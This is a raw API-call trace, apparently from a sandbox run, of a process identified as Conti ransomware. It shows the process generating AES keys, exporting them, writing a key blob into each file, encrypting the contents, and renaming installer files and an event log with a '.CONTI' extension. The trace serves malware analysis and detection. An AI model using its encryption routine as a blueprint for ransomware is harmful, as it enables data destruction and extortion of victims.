	[0093.782] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.782] ReadFile (in: hFile=0x338, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x135c0, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x135c0, lpOverlapped=0x0) returned 1
	[0093.785] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x135c0, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x135d0) returned 1
	[0093.785] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.785] WriteFile (in: hFile=0x338, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x135d0, lpOverlapped=0x0) returned 1
	[0093.785] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.785] WriteFile (in: hFile=0x338, lpBuffer=0x17d41e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x17d41e8*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0093.785] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.786] CloseHandle (hObject=0x338) returned 1
	[0093.787] GetProcessHeap () returned 0x1720000
	[0093.787] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.788] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml"
	[0093.789] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.CONTI"
	[0093.789] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.conti")) returned 1
	[0093.789] GetProcessHeap () returned 0x1720000
	[0093.789] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.789] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.789] GetProcessHeap () returned 0x1720000
	[0093.789] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0b90 | out: hHeap=0x1720000) returned 1
	[0093.789] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0093.880] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x175e570) returned 1
	[0093.880] CryptExportKey (in: hKey=0x175e570, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x41ffb3c | out: pbData=0x17d5f9c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0093.881] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80
	[0093.881] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.881] GetLastError () returned 0x0
	[0093.881] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=76818) returned 1
	[0093.881] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12c12
	[0093.881] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.881] SetEndOfFile (hFile=0x34c) returned 1
	[0093.881] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.881] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.881] WriteFile (in: hFile=0x34c, lpBuffer=0x17d5f9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x17d5f9c*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.917] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.917] ReadFile (in: hFile=0x34c, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x12c12, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x12c12, lpOverlapped=0x0) returned 1
	[0093.940] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x12c12, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x12c20) returned 1
	[0093.941] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.941] WriteFile (in: hFile=0x34c, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x12c20, lpOverlapped=0x0) returned 1
	[0093.941] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.941] WriteFile (in: hFile=0x34c, lpBuffer=0x17d5f90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x17d5f90*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0093.941] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.941] CloseHandle (hObject=0x34c) returned 1
	[0093.943] GetProcessHeap () returned 0x1720000
	[0093.943] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0093.943] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml"
	[0093.943] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.CONTI"
	[0093.943] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.conti")) returned 1
	[0093.943] GetProcessHeap () returned 0x1720000
	[0093.943] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0093.943] CryptDestroyKey (hKey=0x175e570) returned 1
	[0093.943] GetProcessHeap () returned 0x1720000
	[0093.943] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0c60 | out: hHeap=0x1720000) returned 1
	[0093.943] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0093.951] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x175e570) returned 1
	[0093.951] CryptExportKey (in: hKey=0x175e570, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x41ffb3c | out: pbData=0x17d5434*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0093.951] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80
	[0093.954] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0093.954] GetLastError () returned 0x0
	[0093.954] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=3069) returned 1
	[0093.954] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xbfd
	[0093.955] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.955] SetEndOfFile (hFile=0x348) returned 1
	[0093.955] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.955] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.955] WriteFile (in: hFile=0x348, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.959] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.959] ReadFile (in: hFile=0x348, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0xbfd, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0xbfd, lpOverlapped=0x0) returned 1
	[0093.959] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0xbfd, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0xc00) returned 1
	[0093.959] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.959] WriteFile (in: hFile=0x348, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0xc00, lpOverlapped=0x0) returned 1
	[0093.959] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.959] WriteFile (in: hFile=0x348, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0093.959] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.959] CloseHandle (hObject=0x348) returned 1
	[0093.964] GetProcessHeap () returned 0x1720000
	[0093.964] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.965] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\3082\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf"
	[0093.965] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\3082\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf.CONTI"
	[0093.965] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.conti")) returned 1
	[0093.968] GetProcessHeap () returned 0x1720000
	[0093.968] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.968] CryptDestroyKey (hKey=0x175e570) returned 1
	[0093.968] GetProcessHeap () returned 0x1720000
	[0093.968] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d008 | out: hHeap=0x1720000) returned 1
	[0093.968] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0093.980] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x175e4b0) returned 1
	[0093.980] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x41ffb3c | out: pbData=0x17d2b24*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0093.981] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80
	[0093.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.985] GetLastError () returned 0x0
	[0093.985] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=88533) returned 1
	[0093.985] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x159d5
	[0093.986] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.986] SetEndOfFile (hFile=0x34c) returned 1
	[0093.986] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.986] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.986] WriteFile (in: hFile=0x34c, lpBuffer=0x17d2b24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x17d2b24*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.990] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.990] ReadFile (in: hFile=0x34c, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x159d5, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x159d5, lpOverlapped=0x0) returned 1
	[0094.009] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x159d5, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x159e0) returned 1
	[0094.009] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.009] WriteFile (in: hFile=0x34c, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x159e0, lpOverlapped=0x0) returned 1
	[0094.009] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.009] WriteFile (in: hFile=0x34c, lpBuffer=0x17d2b18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x17d2b18*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0094.009] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.009] CloseHandle (hObject=0x34c) returned 1
	[0094.012] GetProcessHeap () returned 0x1720000
	[0094.012] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.012] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\DisplayIcon.ico" | out: lpString1="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned="C:\\588bce7c90097ed212\\DisplayIcon.ico"
	[0094.012] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\DisplayIcon.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\DisplayIcon.ico.CONTI") returned="C:\\588bce7c90097ed212\\DisplayIcon.ico.CONTI"
	[0094.012] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), lpNewFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.conti")) returned 1
	[0094.020] GetProcessHeap () returned 0x1720000
	[0094.020] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.020] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0094.020] GetProcessHeap () returned 0x1720000
	[0094.020] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732540 | out: hHeap=0x1720000) returned 1
	[0094.020] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0094.020] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17c57d8 | out: phKey=0x17c57d8*=0x175e4b0) returned 1
	[0094.020] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c57dc, pdwDataLen=0x41ffb3c | out: pbData=0x17c57dc*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0094.021] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80
	[0094.030] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0094.030] GetLastError () returned 0x0
	[0094.030] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=184832) returned 1
	[0094.030] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d200
	[0094.030] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.030] SetEndOfFile (hFile=0x320) returned 1
	[0094.031] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.031] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.031] WriteFile (in: hFile=0x320, lpBuffer=0x17c57dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x17c57dc*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0094.036] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.036] ReadFile (in: hFile=0x320, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x2d200, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x2d200, lpOverlapped=0x0) returned 1
	[0094.041] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x2d200, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x2d210) returned 1
	[0094.042] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.042] WriteFile (in: hFile=0x320, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x2d210, lpOverlapped=0x0) returned 1
	[0094.042] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.042] WriteFile (in: hFile=0x320, lpBuffer=0x17c57d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x17c57d0*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0094.043] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.043] CloseHandle (hObject=0x320) returned 1
	[0094.046] GetProcessHeap () returned 0x1720000
	[0094.046] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.046] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" | out: lpString1="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi"
	[0094.046] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.CONTI") returned="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.CONTI"
	[0094.046] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.CONTI" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.conti")) returned 1
	[0094.047] GetProcessHeap () returned 0x1720000
	[0094.047] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.047] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0094.047] GetProcessHeap () returned 0x1720000
	[0094.047] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0128 | out: hHeap=0x1720000) returned 1
	[0094.047] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0095.301] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x17c82b0) returned 1
	[0095.301] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x41ffb3c | out: pbData=0x17d567c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0095.302] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20
	[0096.802] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.802] GetLastError () returned 0x0
	[0096.802] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=69632) returned 1
	[0096.802] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
